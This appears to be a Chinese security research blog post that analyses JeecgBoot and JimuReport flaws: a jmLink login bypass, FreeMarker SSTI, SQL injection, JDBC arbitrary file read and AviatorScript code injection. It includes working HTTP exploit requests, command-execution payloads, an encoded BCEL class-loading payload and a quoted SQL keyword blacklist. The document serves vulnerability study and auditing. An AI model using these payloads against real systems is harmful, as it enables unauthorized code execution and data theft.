环境搭建

https://github.com/jeecgboot/JeecgBoot

在release中找到3.5.0版本,新建数据库jeecg-boot,导入jeecgboot-mysql-5.7.sql文件。在application-dev.yml中更改mysql连接用户名密码。然后还需要开启Redis。

没有前端也能测漏洞。但是如果想要体验完整的功能,需要起vue3,下载相应版本的nodejs。测试最新版3.7.0时,建议从nodejs官网 https://nodejs.org/zh-cn/下载18.20版本。高或低版本的nodejs都有可能出现各种各样的错误。然后执行如下命令。最终访问ip:3100

# 进入前端代码
cd JeecgBoot/jeecgboot-vue3

# 安装依赖
pnpm install

# 运行项目
pnpm dev

框架分析

整个框架分析基于jeecg-boot 3.5.0版本,该版本采用的积木报表版本为1.5.6。

集成积木报表

3.5.0版本jeecg-boot的pom.xml文件中引入1.5.6版本积木报表

<jimureport-spring-boot-starter.version>1.5.6</jimureport-spring-boot-starter.version>
<shiro.version>1.10.0</shiro.version>

<dependency>
    <groupId>org.jeecgframework.jimureport</groupId>
    <artifactId>jimureport-spring-boot-starter</artifactId>
    <version>${jimureport-spring-boot-starter.version}</version>
    <exclusions>
        <exclusion>
            <artifactId>autopoi-web</artifactId>
            <groupId>org.jeecgframework</groupId>
        </exclusion>
	</exclusions>
</dependency>

如果从github单独下载积木报表的源码会发现只有一个框架。没有实际代码。但是如果看这个引入的jar包—jimureport-spring-boot-starter-1.5.6.jar。

1.5.6版本积木报表登录校验

积木报表进入到路由对应的方法前,都先经过JimuReportInterceptor类

获取路由对应的处理类和方法,并获取方法上的@JimuLoginRequired注解。注解示例如下。

拦截器的逻辑是,如果注解不为空(即方法上被标注了注解@JimuLoginRequired)或者verifyToken()方法返回false,那么就会校验失败。verifyToken的逻辑如下。首先传入的token参数不能为空,另外构造jwt的用户名密码必须正确。

getLoginUser这个校验需要注意,它是从Redis里面获取的。即使我们用于构造jwt的用户名密码存在于数据库中如mysql,但是这个用户没有登录过,那么Redis缓存中没有相关数据,也无法通过校验。

利用JwtUtil.sign()方法的代码生成token。代码如下。

String username="admin";
String secret="xxx";
Date date = new Date(System.currentTimeMillis() + EXPIRE_TIME);
Algorithm algorithm = Algorithm.HMAC256(secret);
return JWT.create().withClaim("username", username).withExpiresAt(date).sign(algorithm);

效果图

1.7.6版本积木报表登录校验

但是如果查看jeecg-boot目前最新的3.7.0会发现上面这个1.5.6版本登录校验的类JimuReportInterceptor不存在了。

被替换为了JimuReportTokenInterceptor。

跟进JimuReportTokenInterceptor,前面的逻辑与JimuReportInterceptor基本一致,只是多了对路径/jmreport/shareView的放行。

后面verifyToken()开始有了很大的不同。之前只要verifyToken校验不通过就直接无法访问,但现在不通过还有两个条件可以再次判断,1. isSharingEffective 2. isShareingToken(进入这个条件的前提是传入了previousPage参数)

1. isSharingEffective

先判断路由是否在如下列表中。如果在的话进入到后面的if(var3)中。否则isSharingEffective()方法直接返回false。

ShareUrlEnum.getShareUrls() = {ArrayList@21500}  size = 11
 0 = "/jmreport/getQueryInfo"
 1 = "/jmreport/share/verification"
 2 = "/jmreport/addViewCount/"
 3 = "/jmreport/show"
 4 = "/jmreport/exportPdfStream"
 5 = "/jmreport/exportAllExcelStream"
 6 = "/jmreport/checkParam/"
 7 = "/jmreport/map/queryMapByCode"
 8 = "/jmreport/qurestSql"
 9 = "/jmreport/qurestApi"
 10 = "/jmreport/getCharData"

把isSharingEffective()代码逻辑简化如下。

a. 根据路由的不同,分别获取不同的参数,如下

/jmreport/getQueryInfo、/jmreport/share/verification、/jmreport/map/queryMapByCode、/jmreport/getCharData  -> reportId
/jmreport/exportPdfStream、/jmreport/exportAllExcelStream -> excelConfigId
/jmreport/qurestSql、/jmreport/qurestApi -> apiSelectId
/jmreport/show -> id

b. 根据上述参数值执行@Sql("select * from jimu_report_share where report_id = :reportId")赋值给var8。对var8进行compareToDate()判断。

c. 如果请求中Header存在JmReport-Share-Token或者参数中存在shareToken。执行isShareingToken()判断。

如果isSharingEffective()返回false,就看另一个条件。isShareingToken(进入这个条件的前提是传入了previousPage参数)

2. isShareingToken

进入此方法,只有返回true时才能通过校验。从Header中获取JmReport-Share-Token的值,如果不存在就获取shareToken请求参数。获取jmLink请求参数,如果该参数不为空,进行base64揭秘后,如果能分割,就分别赋值给var3和var4。

如果var3不为空,但执行@Sql("select status,share_token,last_update_time,term_of_validity from jimu_report_share where share_token = :shareToken")时查不出相应数据,且路由不是以/jmreport/view开头,就会走到下面的true。

POC
/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=

jmLink解密后是aaa||bbb,根据上面的分析,可以是任意的xx||xx。previousPage也可以传入任意的值。

涉及版本

1.6.2开始改成了JimuReportTokenInterceptor,但此时只获取previousPage,并没有isShareingToken的校验问题。1.7.0开始加入isShareingToken方法。也就是积木报表从1.7.0版本开始受jmLink登录绕过漏洞的影响

历史漏洞

挑几个重点的历史漏洞分析一下。

漏洞名称CVE编号影响版本
/jmreport/qurestSql sql注入漏洞CVE-2023-14543.5.0
/jmreport/show sql注入漏洞CVE-2023-346593.5.0 and 3.5.1
testConnection JDBC 远程代码执行漏洞CVE-2023-41578<=3.5.3
/jmreport/queryFieldBySql SSTI漏洞CVE-2023-4450jeecgboot JimuReport <=1.6.0
/jmreport/loadTableData SSTI漏洞CVE-2023-41544<=3.5.3
/jmreport/save AviatorScript代码注入漏洞暂未分配编号-

SSTI漏洞简单demo

 首先看一下两个SSTI漏洞的demo。一个是在代码中传入Template。

另一个则是可以调用或控制.ftl文件。

.ftl内容如下

<body>
<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>
</body>

JDBC漏洞简单demo

漏洞的代码核心是要能控制传入的jdbcUrl。

Class.forName("com.mysql.cj.jdbc.Driver");
Connection connection = DriverManager.getConnection(jdbcUrl);

AviatorScript代码注入漏洞简单demo

AviatorScript之前有个代码注入漏洞,参考官方链接如下:

There is a critical expression injection RCE vulnerability in this expression engine(该表达式引擎存在表达式注入漏洞) · Issue #421 · killme2008/aviatorscript · GitHub

代码可以写成两种形式。jeecgboot受影响的就是第二种写法。

# 1
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute(expression);

# 2
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
Expression compiledExp = evaluator.compile(expression);
Map<String, Object> env = new HashMap<>();
env.put("Z0", 0);
Object result = compiledExp.execute(env);

POC如下

(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open /System/Applications/Calculator.app\"))

/jmreport/queryFieldBySql SSTI漏洞

漏洞定位jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。从传入的json字符串中获取key为"sql"的value值,然后先调用i.a进行sql关键字检测,如果没有匹配到恶意特征,再从json字符串中获取其他的key。由于本地部署,不是saas化的,会直接执行到parseReportSql方法。

i.a()方法进行sql关键字进行检测的特征如下,匹配上会抛出异常。

String[] var1 = " exec | insert | alter | delete | grant | update | drop | chr | mid | master | truncate | char | declare |user()|".split("\\|");
Pattern.matches("show\\s+tables")

如果没有传入paramArray参数,执行parseReportSql时,会调用如下方法对sql进行处理。var0就是传入的sql值。这里再次调用i.a对var0进行sql恶意关键字的匹配。b方法同样也是进行sql处理。例如,如果匹配到where,就替换成where 1=1等。

跟进断点处的a方法。它匹配${}形式的占位符,如果JSONArray不为空,遍历JSONArray中的每个JSONObject,并检查其包含的paramNameparamValue。根据这些值,替换输入字符串中的占位符,并更新var2中的值。最后调用FreeMarkerUtils.a方法,使用var2替换var1中的占位符。

跟进FreeMarkerUtils.a()方法中,典型的Freemarker SSTI特征—Template.process()。

POC

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 124

{
    "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"open -a Calculator\")}",
    "type": "0"
}

复现如图。

/jmreport/loadTableData SSTI漏洞

漏洞定位同样位于a.class

跟进loadTableData,调用了与上面SSTI漏洞相同的e.a方法。

后续执行与上面SSTI相同。

POC

POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 181

{"dbSource":"","sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a Calculator\") }'","tableName":"test_demo);","pageNo":1,"pageSize":10}

漏洞复现

/jmreport/testConnection jdbc远程代码执行漏洞

漏洞定位

请求体的数据类型为JmreportDynamicDataSourceVo,包含如下字段。获取DbType类型,判断是否为redis或者mongodb。获取DbDriver加载该类,获取DbUrl,执行DriverManager.getConnection()。

由于请求体可控,那么只需要构造JmreportDynamicDataSourceVo的相关字段,即可。

网上有很多打H2的payload,但是默认的jeecg-boot环境是没有H2的。这里打mysql。

POC。mysql服务器选用的MySQL_Fake_Server。将服务端口改为3307,起服务尝试读取文件

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cmd: whoami
Content-Type: application/json
Connection: close
Content-Length: 350

{
    "id":"1",
    "code":"select * from information_schema.tables",
    "dbType":"jndi",
    "dbDriver":"com.mysql.cj.jdbc.Driver",
    "dbUrl":"jdbc:mysql://localhost:3307/test?allowLoadLocalInfile=yes",
    "dbName":"information_schema",
    "dbUsername":"fileread_/etc/passwd",
    "dbPassword":"password",
    "connectionTimaes":"5"
}

漏洞复现,如图。

漏洞发现者:

Jeecg-boot <=3.5.3 Arbitrary File Read · Issue #1 · Snakinya/Bugs · GitHub

/jmreport/qurestSql sql注入漏洞

漏洞定位还是jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。从json字符串中读取key为apiSelectId的值,根据这个值去数据库查询数据。

跟进getById。实际执行的sql是select * from jimu_report_db WHERE ID=:id

看一下数据库里的jimu_report_db表的数据。

其中db_dyn_sql字段值也是一句sql。select * from rep_demo_employee  where id='${id}'。跟进调试确实返回的是这些数据,并赋值给了var4。

qurestechSql实现逻辑

1. 先取出对应的db_dyn_sql的sql值。

2. 根据id值(对应JIMU_REPORT_HEAD_ID),从jimu_report_db_param表查数据

数据库中查询如下。

3. 将传入的json格式var1的值和shared_query_param组成键值对。然后JSONObject var12 = (JSONObject)var11.get("shared_query_param");再获取这个值。

4. getDbSql

this.getBaseSql(reportDb, paramObject);这步拼接成如下的sql

select * from rep_demo_employee  where id='1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like ''

POC

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 128

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

/jmreport/show sql注入漏洞

漏洞定位jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。获取json中的id和params值

调用show方法。先根据id查询数据@Sql("SELECT * FROM jimu_report WHERE ID = :id")



其中getDataById最终调用的方法同样是getDbSql。

发现者:Unauthorized SQL injection in Jeecg3.5.0 and 3.5.1 · Issue #4976 · jeecgboot/JeecgBoot · GitHub

POC如下。注意json格式。否则会报错。

POST /jeecg-boot/jmreport/show HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 189

{
    "id":"961455b47c0b86dc961e90b5893bff05",
    "apiUrl":"",
    "params":
        "{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"
}

漏洞复现

还有一些漏洞是绕官方sql黑名单的,如CVE-2023-38905等,不分析了。

https://github.com/jeecgboot/JeecgBoot/issues/4737

/jmreport/save AviatorScript代码注入漏洞

进入积木报表控制台,点击新建报表,在表格内随意填入内容,点击保存的时候,由/save路由对应的方法来处理。保存excel json数据。

最终执行update方法,将excel内容转成json字符串存入jimu_report表中。

这也是刚开始看save方法没有发现表达式注入的原因。因为这步只进行了存储。而只有进行预览的时候,才能触发表达式操作。点击预览,由/show路由对应的方法进行处理。根据传入的id值从数据库中查询出存入的json数据,调用ExpressUtil进行处理。

最终执行到如下位置。

访问show触发表达式,配合上面分析的积木报表登录校验绕过,实现未授权RCE。

漏洞发现者:积木报表软件存在AviatorScript代码注入RCE漏洞 · Issue #2848 · jeecgboot/JimuReport · GitHub

最后说一下AviatorScript代码注入这个点,在上面demo中给出了当年漏洞提交的日期是2021年,当时有其他研究者测试并回复,AviatorScript受影响的版本是>=5.2.1(jeecg-boot3.7.0用的AviatorScript 5.2.6,即受影响版本)。组件开发者也基本确认,4.x版本中并不支持new/if这些语句因此不受影响。另外,当时组件开发者给出的漏洞修复方案是,设置允许访问的类的白名单。假如白名单为空,也就禁止了任何字段或方法的调用。语句如下

evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());

另外,在组件的官网上,最佳实践 · 语雀给出了相关的说明。从5.2.2版本开始增加了上述的ALLOWED_CLASS_SET选项。

但是既然是选项,就要求使用AviatorScript的开发者自己去设置,那么使用AviatorScript 5.2.1以上版本的软件中,都有可能受此漏洞影响,并且没有设置相关安全白名单。审计的时候看到库中包含AviatorScript可以留意一下版本以及是否存在调用。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐